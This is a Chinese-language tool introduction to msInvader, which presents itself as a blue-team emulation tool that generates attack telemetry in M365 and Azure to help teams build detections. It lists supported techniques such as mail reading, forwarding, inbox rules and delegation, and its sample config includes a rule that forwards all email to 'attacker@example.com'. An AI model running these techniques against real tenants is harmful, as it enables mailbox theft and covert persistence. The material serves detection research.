关于msInvader
msInvader是一款针对M365和Azure环境的威胁模拟与研究工具,该工具专为蓝队研究人员打造,旨在模拟 M365 和 Azure 环境中的威胁技术。其目的是生成攻击遥测,帮助团队构建、测试和增强检测分析。
为了促进真实的模拟,msInvader 实现了多种反映不同攻击场景的身份验证机制。它支持两种 OAuth 流来模拟受损用户场景:资源所有者密码流和设备授权流。这些方法允许 msInvader 获取模拟用户凭据受损或中间人 (AiTM) 攻击成功的令牌。此外,msInvader 可以通过支持客户端凭据 OAuth 流来复制涉及受损服务主体的条件。
经过身份验证后,msInvader 能够通过三种不同的方法与 Exchange Online 进行交互:Graph API、Exchange Web 服务 (EWS) 和 Exchange Online PowerShell 模块使用的 REST API。这种支持使 msInvader 能够全面模拟攻击技术,为蓝队提供模拟多种场景的灵活性。
支持的技术
技术 | Graph | EWS | REST |
read_email | X | X | |
search_mailbox | X | ||
search_onedrive | X | ||
create_rule | X | X | X |
enable_email_forwarding | X | ||
add_folder_permission | X | X | |
add_mailbox_delegation | X | ||
run_compliance_search | X | ||
create_mailflow | X |
工具要求
Python 3
工具安装
由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。
接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/mvelazc0/msInvader.git
工具使用
自定义配置文件
打开位于 msInvader 目录中的config.yaml文件,然后使用Azure/M365 凭据配置该文件中的authentication部分:
authentication: # Authentication details go here techniques: # Techniques and their parameters are defined here
参考样例如下:
authentication: tenant_id: "your-tenant-id" client_id: "your-client-id" client_secret: "your-client-secret"
authentication: tenant_id: "your-tenant-id" username: "victim@constoso.com" password: "password"
然后启用并配置所需的技术,每种技术都需要特定的参数,下面给出的是配置样例:
techniques: technique: "read_email" enabled: True parameters: auth_method: "client_credentials" access_method: "graph" mailbox: "user@example.com" limit: 10 technique: "create_rule" enabled: False parameters: auth_method: "resource_owner" access_method: "ews" mailbox: "user@example.com" rule_name: "Forward All Emails" forward_to: "attacker@example.com"
最后,使用刚才配置好的配置文件运行msInvader即可:
python msInvader.py -c config.yaml
工具运行演示
视频演示:【点我观看】
许可证协议
本项目的开发与发布遵循Apache-2.0开源许可协议。
项目地址
msInvader:【GitHub传送门】
参考资料
https://research.splunk.com/stories/office_365_collection_techniques/